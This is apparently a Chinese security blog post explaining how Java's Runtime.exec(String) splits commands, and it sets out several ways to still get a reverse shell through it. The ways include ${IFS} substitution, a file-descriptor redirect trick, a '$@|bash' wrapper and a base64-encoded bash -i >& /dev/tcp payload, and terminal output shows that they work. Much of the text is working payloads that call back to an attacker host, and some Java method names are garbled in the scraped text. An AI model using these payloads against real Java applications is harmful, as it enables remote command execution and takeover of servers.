2023年11月29日发(作者:)

time().exec获取反弹shell

说明

前⾯写了⼀篇在Java环境下获取shell的⽂章。当时使⽤的语句是:

Runtime r = time();

Process p = (new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});

r();

其中在exec()中我们是传⼊了多个参数,可是如果实际的环境是time().exec(String cmd)只能允许我们传⼊⼀个参数,⼜该如

何getshell呢?

exec分析

我们分析⼀下Runtime中的exec()函数:

e()中存在多个重载的exec()⽅法,如下所⽰:

public Process exec(String command)

public Process exec(String command, String[] envp)

public Process exec(String command, String[] envp, File dir)

public Process exec(String cmdarray[])

public Process exec(String[] cmdarray, String[] envp)

public Process exec(String[] cmdarray, String[] envp, File dir)

除了常见的exec(String command)exec(String cmdarray[]),其他exec()都增加了envpFile这些限制。虽然如此,但是最终都是调⽤相同

的⽅法,本质没有却区别。这些函数存在的意义可以简要地参考

分析exec(String cmdarray[])exec(String command):

// exec(String command) 函数

public Process exec(String command) throws IOException {

return exec(command, null, null);

}

...

public Process exec(String command, String[] envp, File dir)

throws IOException {

if (() == 0)

throw new IllegalArgumentException("Empty command");

StringTokenizer st = new StringTokenizer(command);

String[] cmdarray = new String[okens()];

for (int i = 0; eTokens(); i++)

cmdarray[i] = ken();

return exec(cmdarray, envp, dir);

}

...

// exec(String cmdarray[])

public Process exec(String cmdarray[]) throws IOException {

return exec(cmdarray, null, null);

}

可以看到exec(String cmdarray[])exec(String command)最终都是调⽤的exec(cmdarray, null, null)exec(String command)

StringTokenizer st = new StringTokenizer(command);将其分割为Token之后作为字符串数组,调⽤exec(cmdarray, null, null)

分析StringTokenizer(String str):

public StringTokenizer(String str) {

this(str, " tnrf", false);

}

将字⼀个字符串使⽤tnrf这些字符进⾏分割。尝试:

String testStr = "a btcndrefg";

StringTokenizer st = new StringTokenizer(testStr);

for (int i = 0; eTokens(); i++)

n(ken());

输出结果:

a

b

c

d

e

g

bypass exec

如果直接尝试执⾏

time().exec("bash -i >& /dev/tcp/ip/port 0>&1");

那么最终执⾏到exec(cmdarray, envp, dir);时,cmdarray的参数结果是:

1 | 2 | 3 | 4 | 5

–|—|—|—|–

bash | -i | >& | /dev/tcp/ip/port | 0>&1

⽽我们执⾏(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});,执⾏到exec(cmdarray, envp, dir);时,cmdarray的参数结

果是:

结果就显⽰出了${IFS}其实就是0x20 0x09 0x0a。尝试利⽤${IFS},于是我们的代码变成了:

time().exec("/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1");

发现执⾏完毕之后出现了/bin/bash: ${IFS}/dev/tcp/118.24.152.245/8888${IFS}0: ambiguous redirect错误。发现当执⾏到

e:Process exec(String command, String[] envp, File dir),信息如下:

那么就说明利⽤${IFS}执⾏/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1确实能够绕过Java的分隔符。我们直接在

bash中尝试:

spoock@ubuntu:~/Desktop$/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1

bash: ${IFS}/dev/tcp/127.0.0.1/8888${IFS}0: ambiguous redirect

同样会出现ambiguous redirect的错误,如果尝试将/dev/tcp/127.0.0.1/8888${IFS}0>&1替换为/dev/tcp/127.0.0.1/8888$ 0>&1,即/bin/bash -

c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888 0>&1就能够成功地进⾏反弹shell了。使⽤zsh进⾏尝试/bin/zsh -c bash${IFS}-

i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1,同样会出现ambiguous redirect那么就是说明可能上述的写法不符合shell的语法。

最终进⾏测试,在/bin/bash -c bash>x${IFS}0就会出现ambiguous redirect问题,猜测可能是x${IFS}0才会出现这样的问题,⾄于为什么会出

现的这样的问题,希望有⼤⽜能够帮忙解答⼀下。

所以如果使⽤/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1就⼀定不⾏了吗?我们⽬前已经知道/bin/bash -c

bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888 0>&1是可以反弹shell的,那么问题的关键就是在这种/bin/zsh -c bash${IFS}-

i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1情况下的${IFS}绕过。我们查看bash中有什么语法可供我们使⽤。

bash manpage

Duplicating File Descriptors

The redirection operator

[n]<&word

is used to duplicate input file descriptors. If word expands to one or more digits, the file descriptor denoted by n is made to be a copy of that file descriptor. If t

is used.

The operator

[n]>&word

not specify a file descriptor open for input, a redirection error occurs. If word evaluates to -, file descriptor n is closed. If n is not specified, the standard input (

is used similarly to duplicate output file descriptors. If n is not specified, the standard output (file descriptor 1) is used. If the digits in word do not specify a file

standard output and standard error are redirected as described previously.

for output, a redirection error occurs. If word evaluates to -, file descriptor n is closed. As a special case, if n is omitted, and word does not expand to one o

对于[n]<&word,发现有If n is not specified, the standard input (file descriptor 0) is used,貌似就可以解决我们的问题。那么我们可以改写

为:

/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1

可以完美实现反弹shell,查看其fd信息如下:

spoock@ubuntu:~/Desktop$ ls -all /proc/10434/fd

total 0

dr-x------ 2 spoock spoock 0 Nov 25 06:44 .

dr-xr-xr-x 9 spoock spoock 0 Nov 25 06:44 ..

lrwx------ 1 spoock spoock 64 Nov 25 06:44 0 -> socket:[77646]

lrwx------ 1 spoock spoock 64 Nov 25 06:44 1 -> socket:[77646]

lrwx------ 1 spoock spoock 64 Nov 25 06:44 2 -> socket:[77646]

⽂件描述符0,1,2都指向了socket。既然这种可以,我们尝试利⽤Java进⾏反弹shell,

time().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1");

也能够执⾏反弹shell。

$@

发现在linux中还存在$@$*,他们的含义都是list of all arguments passed to the script。进⾏⼀个简单的实验:

#!/bin/bash

# - Cmd args - positional parameter demo

echo "Command-Line Arguments Demo"

echo "*** All args displayed using $@ positional parameter ***"

echo $@

echo "*** All args displayed using $* positional parameter ***"

echo $*

运⾏得到的结果是:

spoock@ubuntu:~/Desktop$ ./ foo bar test

Command-Line Arguments Demo

*** All args displayed using $@ positional parameter ***

foo bar test

*** All args displayed using $* positional parameter ***

foo bar test

那么我们就可以利⽤来反弹shell了。看bash语法:

bash [options] [command_string | file]

-c If the -c option is present, then commands are read from the first non-option argument command_ there are arguments after the command_string, the

结合bash$@,我们可以变为:

/bin/sh -c '$@|sh' xxx echo ls

可以成功地执⾏ls。分析下这个命令,当bash解析到'$@|sh' xxx echo ls,发现$@$@需要取脚本的参数,那么就会解析xxx echo ls,由

$@只会取脚本参数,会将第⼀个参数认为是脚本名称(认为xxx是脚本名称),就会取到echo ls。那么最终执⾏的就是echo ls|sh,就可以

成功地执⾏ls命令了。

利⽤上⾯这个trick,那么我们就可以执⾏任意命令了,包括反弹shell。如/bin/bash -c '$@|bash' 0 echo 'bash -i >&/dev/tcp/ip/port 0>&1'最终可

以成功地反弹shell。我们利⽤Java进⾏测试:

time().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1");

最终在JAVA中的数组的结果如下:

最终相当于执⾏了echo 'bash -i >&/dev/tcp/127.0.0.1/8888 0>&1'|bash命令,成功反弹shell。同样地,/bin/bash -c $*|bash 0 echo bash -i

>&/dev/tcp/127.0.0.1/8888 0>&1也是可以的。

base64 decode

对payload进⾏base64编码从⽽绕过exec()bash -i >&/dev/tcp/127.0.0.1/8888 0>&1经过转换变为bash -c

{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}。测试:

time().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");

成功执⾏反弹shell。